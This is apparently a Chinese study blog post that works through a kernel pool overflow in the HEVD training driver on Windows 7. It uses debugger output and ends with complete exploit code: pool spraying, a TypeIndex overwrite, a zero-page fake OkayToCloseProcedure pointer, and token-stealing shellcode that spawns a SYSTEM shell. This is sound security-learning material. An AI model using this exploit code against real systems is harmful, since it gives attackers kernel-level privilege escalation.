0x00:前言
昨天阅读了内核池的一些原理,与Linux堆还是有很多相似的。今天继续调试HEVD中池溢出攻击。参考的原文:
0x01:漏洞原理
漏洞源码:
NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer) {
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
// Free the allocated Pool chunk
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
对比安全和不安全的版本,与栈溢出类似,都是在将用户传过来的数据拷贝进入内核缓冲区时,以用户传入的Size作为数据大小,这样就会造成溢出。因为这里的缓冲区是内核池,所以为池溢出。
0x02:漏洞分析
首先使用正常大小的块填充,再free池的代码调用前下断点观察。
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
int main()
{
DWORD bReturn = 0;
char buf[0x1F8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0X1F8, 0x41);
DeviceIoControl(hDevice, 0x22200f, buf, 0X1F8, NULL, 0, &bReturn, NULL);
return 0;
}
这里可以看到,只要我们再多输入一点内容,就会覆盖下一个块的POOL_HEAD,如果胡乱输入,则一定会破坏下一个块。但如果合理利用,则可完成任意代码的执行。首先先不说漏洞利用的机制,先根据上一节的内容,继续使用内存池喷射技术,将我们想要利用的块放到我们期望的位置。
池喷射
回顾UAF中内核池喷射中,使用了 IoCompletionReserve对象喷射了非分页内存池,但是它的对象大小为0x60,这里我们需要申请的块大小为0x200,所以不符合。但是幸运的是,事件对象的尺寸是0x40,乘上8就是0x200。因此我们可以大量创建事件对象,然后在其中连续释放相邻的8个事件对象即可空出一块0x200大小的空间。这里首先创建10000个时间对象用来填充非分页内存池的碎片,然后创建5000个对象用于完成我们可预测的分配。在这5000个对象中,每隔16个对象便释放8个对象创建0x200大小的可利用空间。利用代码如下:
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
//非分页内存的池喷射
HANDLE EventObjectArrayA[10000];
HANDLE EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
UINT32 i = 0;
for (i = 0; i < 10000; i++) {
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayA[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 0; i < 5000; i++) {
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayB[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
//在喷射池中释放可预测的空间
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
}
int main()
{
DWORD bReturn = 0;
char buf[0x1f8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0x1f8, 0x41);
SprayNonPagedPoolWithEventObjects();
CreateHolesInNonPagedPoolByCoalescingEventObjects();
DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
return 0;
}
再次执行,在断点处断下,可以看到我们申请的块被8个Event对象包裹着。这说明我们成功的将块在可预测的空间申请到了。
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8721BD88
[+] UserBuffer: 0x0028FCB8
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8721BD88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8721BD88
Breakpoint 0 hit
8e2e2239 ff1510002e8e call dword ptr ds:[8E2E0010h]
kd> !pool 0x8721BD88
Pool page 8721bd88 region is Nonpaged pool
8721b000 size: 40 previous size: 0 (Allocated) Even (Protected)
8721b040 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b080 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b0c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b100 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b140 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b180 size: 200 previous size: 40 (Free) Even
8721b380 size: 40 previous size: 200 (Allocated) Even (Protected)
8721b3c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b400 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b440 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b480 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b4c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b500 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b540 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b580 size: c0 previous size: 40 (Free) Even
8721b640 size: 140 previous size: c0 (Allocated) Io Process: 8743e030
8721b780 size: 40 previous size: 140 (Allocated) Even (Protected)
8721b7c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b800 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b840 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b880 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b8c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b900 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b940 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b980 size: c0 previous size: 40 (Free) Even
8721ba40 size: 140 previous size: c0 (Free ) Io Process: 8743e030
8721bb80 size: 40 previous size: 140 (Allocated) Even (Protected)
8721bbc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bc00 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bc40 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bc80 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bcc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bd00 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bd40 size: 40 previous size: 40 (Allocated) Even (Protected)
*8721bd80 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8721bf80 size: 40 previous size: 200 (Allocated) Even (Protected)
8721bfc0 size: 40 previous size: 40 (Allocated) Even (Protected)
接下来查看三个数据结构,这三个数据结构紧邻着我们输入的数据末尾,是属于下一个块的数据结构。
kd> dt nt!_POOL_HEADER 8721bf80
+0x000 PreviousSize : 0y001000000 (0x40)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080040
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8721bf80+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
kd> dt nt!_OBJECT_HEADER 8721bf80+8+10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x87bb7d80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
kd> dd 8721bf80
8721bf80 04080040 ee657645 00000000 00000040
8721bf90 00000000 00000000 00000001 00000001
8721bfa0 00000000 0008000c 87bb7d80 00000000
8721bfb0 00040001 00000000 8721bfb8 8721bfb8
这三个数据结构都可以在块里找到对应的数据。无论我们怎样溢出,这0x40个数据对应的这个三个数据结构,都不应该被破坏,但是可以修改其相应的值。接下来我们看如何利用该漏洞。
重要的数据结构
注意到 OBJECT_HEADER 数据结构里的 TypeIndex值。该值是一个指针数组的偏移量,它描述了该块的对象类型
进行验证查看
kd> dt nt!_OBJECT_TYPE Name 857dabc0
+0x008 Name : _UNICODE_STRING "Event"
该地址即对象指针的地址,我们进一步查看。同时,我们注意到上一步中, ObTypeIndexType 表中的第一项为空指针,第0XC+1项为我们当前查看的指针对象。
kd> dt nt!_OBJECT_TYPE 857dabc0
+0x000 TypeList : _LIST_ENTRY [ 0x857dabc0 - 0x857dabc0 ]
+0x008 Name : _UNICODE_STRING "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x3de6
+0x01c TotalNumberOfHandles : 0x3e3c
+0x020 HighWaterNumberOfObjects : 0x47ae
+0x024 HighWaterNumberOfHandles : 0x4804
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x857dac40 - 0x857dac40 ]
注意到TypeInfo这一项
kd> dx -id 0,0,ffffffff87db9030 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x50 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char]
[+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]
[+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
[+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
[+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
[+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
[+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
[+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
[+0x004] ObjectTypeCode : 0x2 [Type: unsigned long]
[+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
[+0x00c] GenericMapping [Type: _GENERIC_MAPPING]
[+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long]
[+0x020] RetainAccess : 0x0 [Type: unsigned long]
[+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
[+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)]
[+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
[+0x044] SecurityProcedure : 0x8406f5b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
[+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
[+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]
kd> dt nt!_OBJECT_TYPE 857dabc0
重要的部分就是"OkayToCloseProcedure"的偏移,位于TypeInfo的0x4C处。如果,当对象句柄被释放且块也被释放,该值不为空,内核会跳转到该地址来执行。也可以使用该结构的其他成员,比如"DeleteProcedure"。问题在于我们要如何利用它?记住池块本身包含了TypeIndex值(0xC),如果我们溢出该块并将该值修改为0x0的话,对象就会尝试在进程的零页上查找OBJECT_TYPE结构体。我们使用的环境是Win7,可以分配一个零页并创建一个伪造的"OkayToCloseProcedure"指针指向我们的shellcode。在释放了被污染的块时,内核就应该会执行到我们的代码了!
0x03:漏洞利用
首先弄清楚,我们覆盖的是0x200块后的0x40大小的Event对象。所以我们可以按照它的数据结构头进行精准复制,仅仅只改它的TypeIndex值大小。对比之前的数据,仅仅将0xC改为0X0。
以下为代码
int main()
{
DWORD bReturn = 0;
char buf[0x1f8+40];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0x1f8, 0x41);
PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
*(PULONG)Memory =(ULONG)0x04080040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;
SprayNonPagedPoolWithEventObjects();
CreateHolesInNonPagedPoolByCoalescingEventObjects();
DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);
return 0;
}
验证一下,发现TypeIndex被覆盖为0,其余值不变。说明我们这里覆盖正确。
kd> dt nt!_OBJECT_HEADER 871b7f40+8+10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0 ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x87bb7d80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
接下来,我们就申请0页内存,在0页处,精心构造一个伪造的"OkayToCloseProcedure"指针。
//申请0页内存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)&ShellCode;
执行后即可完成提权!
完整代码附上
#include<stdio.h>
#include<Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
HANDLE hDevice = NULL;
__declspec(naked) VOID ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
//非分页内存的池喷射
HANDLE EventObjectArrayA[10000];
HANDLE EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
UINT32 i = 0;
for (i = 0; i < 10000; i++) {
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayA[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 0; i < 5000; i++) {
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayB[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
//在喷射池中释放可预测的空间
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
}
//释放对象
VOID FreeEventObjects() {
UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 10000; i++) {
if (!CloseHandle(EventObjectArrayA[i])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 8; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
}
int main()
{
DWORD bReturn = 0;
char buf[0x1f8+40];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0x1f8, 0x41);
PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
*(PULONG)Memory =(ULONG)0x04080040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;
SprayNonPagedPoolWithEventObjects();
CreateHolesInNonPagedPoolByCoalescingEventObjects();
//申请0页内存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);
FreeEventObjects();
CreateCmd();
return 0;
}
明日计划
继续学习内核漏洞相关知识。